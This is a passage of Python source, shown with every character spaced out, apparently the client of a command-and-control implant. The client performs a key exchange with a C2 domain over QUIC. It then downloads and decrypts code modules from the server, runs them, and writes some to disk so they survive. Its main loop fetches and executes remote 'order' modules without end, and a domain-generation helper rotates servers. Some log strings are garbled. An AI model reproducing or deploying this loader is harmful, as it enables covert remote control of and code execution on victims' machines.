                 f o r   m o d   i n   [ 
                         M o d u l e E n u m . C O N F I G , 
                         M o d u l e E n u m . U T I L S , 
                         M o d u l e E n u m . C O M M , 
                         M o d u l e E n u m . Q U I C , 
                 ] : 
                         m o d _ f i l e   =   b a s e _ d i r   /   ( m o d . v a l u e   +   " . p y " ) 
                         i f   n o t   m o d _ f i l e . e x i s t s ( ) : 
                                 r a i s e   R u n t i m e E r r o r ( f " c o u l d n ' t   f i n d   m o d u l e :   { m o d _ f i l e } " ) 
                         p y t h o n _ c o d e   =   m o d _ f i l e . r e a d _ t e x t ( ) 
                         s e l f . l o g . i n f o ( "      L o a d i n g   m o d u l e   ( f r o m   d i s k ) :   % s " ,   m o d _ f i l e ) 
                         s e l f . l o a d _ m o d u l e ( p y t h o n _ c o d e ) 
 
         d e f   i n i t _ c r y p t o ( s e l f )   - >   N o n e : 
                 a s s e r t   s e l f . c o n f i g   i s   n o t   N o n e 
 
                 s e l f . c r y p t o   =   C r y p t o ( ) 
 
                 w i t h   p a t c h ( " a i o q u i c . a s y n c i o . c l i e n t . Q u i c C o n n e c t i o n " ,   C u s t o m Q u i c C o n n e c t i o n ) : 
                         c l i e n t   =   C l i e n t ( s e l f . c o n f i g . c 2 _ b a s e _ d o m a i n ,   s e l f . c o n f i g . c 2 _ b a s e _ p o r t ) 
                         c l i e n t . s t a r t ( ) 
                         n e t w o r k   =   N e t w o r k ( c l i e n t ) 
                         s e l f . l o g . i n f o ( " S e n d i n g   i n i t _ c r y p t o   t o   C 2 " ) 
                         s e r v e r _ p u b l i c   =   n e t w o r k . i n i t _ c r y p t o ( l i s t ( s e l f . c r y p t o . g e t _ p u b l i c ( ) ) ) 
                         s e l f . l o g . i n f o ( " R e c e i v e d   i n i t _ c r y p t o   f r o m   C 2 " ) 
                         a s s e r t   s e r v e r _ p u b l i c   i s   n o t   N o n e 
                         s e l f . c r y p t o . c o m p u t e _ s h a r e d _ k e y ( s e r v e r _ p u b l i c ) 
 
                         s e l f . s e s s i o n _ k e y   =   s e l f . c r y p t o . c o m p u t e _ s e s s i o n _ k e y ( ) 
                         s e l f . l o g . i n f o ( " S e t   s e s s i o n   k e y :   % s " ,   s e l f . s e s s i o n _ k e y . h e x ( ) ) 
                         e n c r y p t e d _ s e s s i o n _ k e y   =   s e l f . c r y p t o . e n c r y p t ( 
                                 s e l f . c r y p t o . d e r i v e _ d h _ s h a r e d _ k e y ( ) ,   s e l f . s e s s i o n _ k e y 
                         ) 
                         i f   n o t   n e t w o r k . s e t _ s e s s i o n _ k e y ( e n c r y p t e d _ s e s s i o n _ k e y ) : 
                                 s e l f . l o g . e r r o r ( " F a i l e d   t o   s e t   s e s s i o n   k e y ! " ) 
                                 r a i s e   R u n t i m e E r r o r ( ) 
                         c l i e n t . s t o p ( ) 
 
         d e f   l o a d _ m o d u l e _ f r o m _ n e t w o r k ( 
                 s e l f ,   m o d u l e _ n a m e :   M o d u l e E n u m ,   s a v e _ o n _ d i s k :   b o o l   =   F a l s e 
         )   - >   N o n e : 
                 s e l f . l o g . i n f o ( " l o a d   f r o m   n e t w o r k :   % s " ,   m o d u l e _ n a m e ) 
                 a s s e r t   s e l f . c o n f i g   i s   n o t   N o n e 
                 a s s e r t   M o d u l e E n u m . C O M M . i s _ l o a d e d ( ) 
                 a s s e r t   M o d u l e E n u m . C O N F I G . i s _ l o a d e d ( ) 
 
                 s e l f . l o g . w a r n i n g ( "  
  
   L o a d g   m o d u l e :   % s " ,   m o d u l e _ n a m e ) 
 
                 i f   m o d u l e _ n a m e   = =   M o d u l e E n u m . C O N F I G : 
                         a s s e r t   s e l f . c r y p t o   i s   n o t   N o n e 
                         a s s e r t   s e l f . s e s s i o n _ k e y   i s   n o t   N o n e 
 
                 w i t h   p a t c h ( " a i o q u i c . a s y n c i o . c l i e n t . Q u i c C o n n e c t i o n " ,   C u s t o m Q u i c C o n n e c t i o n ) : 
                         c l i e n t   =   C l i e n t ( s e l f . c o n f i g . c 2 _ b a s e _ d o m a i n ,   s e l f . c o n f i g . c 2 _ b a s e _ p o r t ) 
                         c l i e n t . s t a r t ( ) 
                         n e t w o r k   =   N e t w o r k ( c l i e n t ) 
                         m o d _ c o d e   =   n e t w o r k . g e t _ m o d u l e ( m o d u l e _ n a m e . v a l u e ) 
                         i f   m o d u l e _ n a m e   = =   M o d u l e E n u m . C O N F I G : 
                                 s e l f . l o g . i n f o ( " D e c r y p t   c o n f i g " ) 
                                 m o d _ c o d e _ b y t e s   =   b 6 4 d e c o d e ( m o d _ c o d e ) 
                                 a s s e r t   s e l f . c r y p t o   i s   n o t   N o n e 
                                 a s s e r t   s e l f . s e s s i o n _ k e y   i s   n o t   N o n e 
                                 m o d _ c o d e   =   s e l f . c r y p t o . d e c r y p t ( 
                                         s e l f . s e s s i o n _ k e y ,   m o d _ c o d e _ b y t e s 
                                 ) . d e c o d e ( ) 
                         c l i e n t . s t o p ( ) 
 
                 i f   m o d _ c o d e . s t a r t s w i t h ( " E R R O R : " ) : 
                         s e l f . l o g . e r r o r ( " E r r o r   l o a d i n g   m o d u l e :   % s   -   % s " ,   m o d u l e _ n a m e ,   m o d _ c o d e ) 
                         r e t u r n 
                 s e l f . l o a d _ m o d u l e ( m o d _ c o d e ) 
                 s e l f . l o g . i n f o ( 
                         "      
  
   M e :   % s ,   V e r s i o n :   % d " ,   m o d u l e _ n a m e ,   m o d u l e _ n a m e . g e t _ c u r r e n t _ v e r s i o n ( ) 
                 ) 
                 i f   s a v e _ o n _ d i s k : 
                         p a t h   =   P a t h ( _ _ f i l e _ _ ) . p a r e n t   /   f " { m o d u l e _ n a m e . v a l u e } . p y " 
                         w i t h   o p e n ( p a t h ,   " w " ,   e n c o d i n g = " u t f - 8 " )   a s   f : 
                                 f . w r i t e ( m o d _ c o d e ) 
 
         d e f   d l _ m a y b e _ l a u n c h _ c l i e n t ( s e l f )   - >   N o n e : 
                 c u r r e n t _ v e r s i o n   =   C L I E N T _ V E R S I O N 
 
                 s e l f . l o a d _ m o d u l e _ f r o m _ n e t w o r k ( M o d u l e E n u m . C L I E N T ,   s a v e _ o n _ d i s k = T r u e ) 
 
                 n e w _ v e r s i o n   =   C L I E N T _ V E R S I O N 
 
                 i f   c u r r e n t _ v e r s i o n   ! =   n e w _ v e r s i o n : 
                         s e l f . l o g . i n f o ( 
                                 " C l i e n t   m o d u l e   u p d a t e !   ( o l d _ v e r s i o n :   % d   -   n e w _ v e r s i o n :   % d ) " , 
                                 c u r r e n t _ v e r s i o n , 
                                 n e w _ v e r s i o n , 
                         ) 
                         r a i s e   C l i e n t U p d a t e d ( ) 
 
         d e f   u p d a t e _ m o d u l e s ( s e l f )   - >   N o n e : 
                 s e l f . l o g . i n f o ( " u p d a t e   m o d u l e s " ) 
                 f o r   m o d u l e _ n a m e   i n   M o d u l e E n u m : 
                         s e l f . l o g . i n f o ( " u p d a t e   m o d u l e s :   % s " ,   m o d u l e _ n a m e ) 
                         i f   m o d u l e _ n a m e   i n   [ M o d u l e E n u m . C L I E N T ,   M o d u l e E n u m . O R D E R ] : 
                                 s e l f . l o g . i n f o ( "     % 
   S k i p n g   m o d u l e   % s " ,   m o d u l e _ n a m e ) 
                                 c o n t i n u e 
                         s a v e _ o n _ d i s k   =   F a l s e 
                         i f   m o d u l e _ n a m e   i n   [ 
                                 M o d u l e E n u m . Q U I C , 
                                 M o d u l e E n u m . C O N F I G , 
                                 M o d u l e E n u m . C O M M , 
                         ] : 
                                 s a v e _ o n _ d i s k   =   T r u e 
                         s e l f . l o a d _ m o d u l e _ f r o m _ n e t w o r k ( m o d u l e _ n a m e ,   s a v e _ o n _ d i s k ) 
                         t i m e . s l e e p ( 3 ) 
                         s e l f . l o g . i n f o ( "   %     S l e p t   f o r   3   s e c o n d s   b e f o r e   n e x t   m o d u l e   u p d a t e " ) 
 
                 s e l f . d l _ m a y b e _ l a u n c h _ c l i e n t ( ) 
 
 
 d e f   m a i n ( )   - >   N o n e : 
 
         s e t _ l o g g e r ( " c l i e n t . l o g " ) 
 
         c l i e n t   =   M y C l i e n t ( ) 
 
         c l i e n t . l o a d _ m i n i m a l _ m o d u l e s _ f r o m _ d i s k ( ) 
 
         d e f a u l t _ c o n f i g   =   C o n f i g ( ) 
 
         c l i e n t . c o n f i g   =   d e f a u l t _ c o n f i g 
 
         t r y : 
                 c l i e n t . i n i t _ c r y p t o ( ) 
                 c l i e n t . u p d a t e _ m o d u l e s ( ) 
                 u p d a t e d _ c o n f i g   =   C o n f i g ( ) 
                 c l i e n t . c o n f i g   =   u p d a t e d _ c o n f i g 
 
                 w h i l e   T r u e : 
                         c l i e n t . l o g . i n f o ( " W H I L E   T R U E " ) 
                         c l i e n t . l o a d _ m o d u l e _ f r o m _ n e t w o r k ( M o d u l e E n u m . O R D E R ) 
 
                         c l i e n t . l o g . w a r n i n g ( "         E x e c u t i n g   o r d e r " ) 
 
                         o r d e r   =   O r d e r ( c l i e n t ) 
                         o r d e r . e x e c u t e ( ) 
 
                         c l i e n t . l o g . i n f o ( "   
  
   S i n g   f o r   % d " ,   c l i e n t . c o n f i g . s l e e p ) 
                         s l e e p ( c l i e n t . c o n f i g . s l e e p ) 
 
         e x c e p t   C l i e n t U p d a t e d : 
                 l o g g e r . w a r n i n g ( " C l i e n t   u p d a t e !   L e a v i n g   m a i n   l o o p   t o   s t a r t   a   n e w   o n e ! " ) 
                 m a i n ( ) 
         e x c e p t   E x c e p t i o n   a s   e : 
                 l o g g e r . e r r o r ( " U n e x p e c t e d   e x c e p t i o n   o c c u r r e d :   % s " ,   e ) 
 
 
 i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " : 
         m a i n ( ) 
 
 g e t _ m o d u l e : o r d e r i m p o r t   l o g g i n g 
 f r o m   t y p i n g   i m p o r t   T Y P E _ C H E C K I N G 
 
 i f   T Y P E _ C H E C K I N G : 
         f r o m   . c l i e n t   i m p o r t   M y C l i e n t 
         f r o m   . d g a   i m p o r t   r o t a t e _ f i l e r _ s e r v e r 
         f r o m   . q u i c   i m p o r t   C l i e n t 
 
 O R D E R _ V E R S I O N   =   2 
 
 
 L O G G E R _ N A M E   =   " a i o q u i c _ o r d e r " 
 L O G G E R _ K E Y   =   " _ _ l o g g e r _ o r d e r _ _ " 
 i f   L O G G E R _ K E Y   i n   g l o b a l s ( ) : 
         l o g g e r   =   g l o b a l s ( ) [ L O G G E R _ K E Y ] 
 e l s e : 
         l o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
 
         i f   n o t   l o g g e r . h a n d l e r s : 
                 l o g g e r . a d d H a n d l e r ( l o g g i n g . S t r e a m H a n d l e r ( ) ) 
         g l o b a l s ( ) [ L O G G E R _ K E Y ]   =   l o g g e r 
 
 
 c l a s s   O r d e r : 
 
         d e f   _ _ i n i t _ _ ( s e l f ,   c l i e n t :   " M y C l i e n t " ) : 
                 s e l f . c l i e n t   =   c l i e n t 
 
         d e f   e x e c u t e ( s e l f )   - >   N o n e : 
                 i f   " o r d e r _ c o u n t "   n o t   i n   g l o b a l s ( ) : 
                         g l o b a l s ( ) [ " o r d e r _ c o u n t " ]   =   0 
                 i f   g l o b a l s ( ) [ " o r d e r _ c o u n t " ]   <   O R D E R _ V E R S I O N : 
                         g l o b a l s ( ) [ " o r d e r _ c o u n t " ]   + =   1 
                         m y _ l o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
                         m y _ l o g g e r . w a r n i n g ( " E X E C U T I N G   O R D E R   r o t a t e . . . " ) 
 
                         r o t a t e _ f i l e r _ s e r v e r ( s e l f . c l i e n t . c o n f i g ) 
 
                         s e l f . e n d _ e x e c u t e ( ) 
 
         d e f   e n d _ e x e c u t e ( s e l f )   - >   N o n e : 
                 p a s s 
                 #   s e l f . c l i e n t . u p d a t e _ m o d u l e s ( ) 
 
 g e t _ m o d u l e : o r d e r i m p o r t   l o g g i n g 
 i m p o r t   s y s 
 f r o m   t y p i n g   i m p o r t   T Y P E _ C H E C K I N G 
 
 i f   T Y P E _ C H E C K I N G : 
         f r o m   . c l i e n t   i m p o r t   M y C l i e n t 
 
 O R D E R _ V E R S I O N   =   3 
 
 
 L O G G E R _ N A M E   =   " a i o q u i c _ o r d e r " 
 L O G G E R _ K E Y   =   " _ _ l o g g e r _ o r d e r _ _ " 
 i f   L O G G E R _ K E Y   i n   g l o b a l s ( ) : 
         l o g g e r   =   g l o b a l s ( ) [ L O G G E R _ K E Y ] 
 e l s e : 
         l o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
 
         i f   n o t   l o g g e r . h a n d l e r s : 
                 l o g g e r . a d d H a n d l e r ( l o g g i n g . S t r e a m H a n d l e r ( ) ) 
         g l o b a l s ( ) [ L O G G E R _ K E Y ]   =   l o g g e r 
 
 
 c l a s s   O r d e r : 
 
         d e f   _ _ i n i t _ _ ( s e l f ,   c l i e n t :   " M y C l i e n t " ) : 
                 s e l f . c l i e n t   =   c l i e n t 
 
         d e f   e x e c u t e ( s e l f )   - >   N o n e : 
                 i f   " o r d e r _ c o u n t "   n o t   i n   g l o b a l s ( ) : 
                         g l o b a l s ( ) [ " o r d e r _ c o u n t " ]   =   0 
                 i f   g l o b a l s ( ) [ " o r d e r _ c o u n t " ]   <   O R D E R _ V E R S I O N : 
                         g l o b a l s ( ) [ " o r d e r _ c o u n t " ]   + =   1 
                         m y _ l o g g e r   =   l o g g i n g . g e t L o g g e r ( L O G G E R _ N A M E ) 
                         m y _ l o g g e r . w a r n i n g ( " E X E C U T I N G   E X I T   o r d e r . . . " ) 
                         s y s . e x i t ( 0 ) 
                         #   s e l f . e n d _ e x e c u t e ( ) 
 
         d e f   e n d _ e x e c u t e ( s e l f )   - >   N o n e : 
                 p a s s 
                 #   s e l f . c l i e n t . u p d a t e _ m o d u l e s ( ) 
 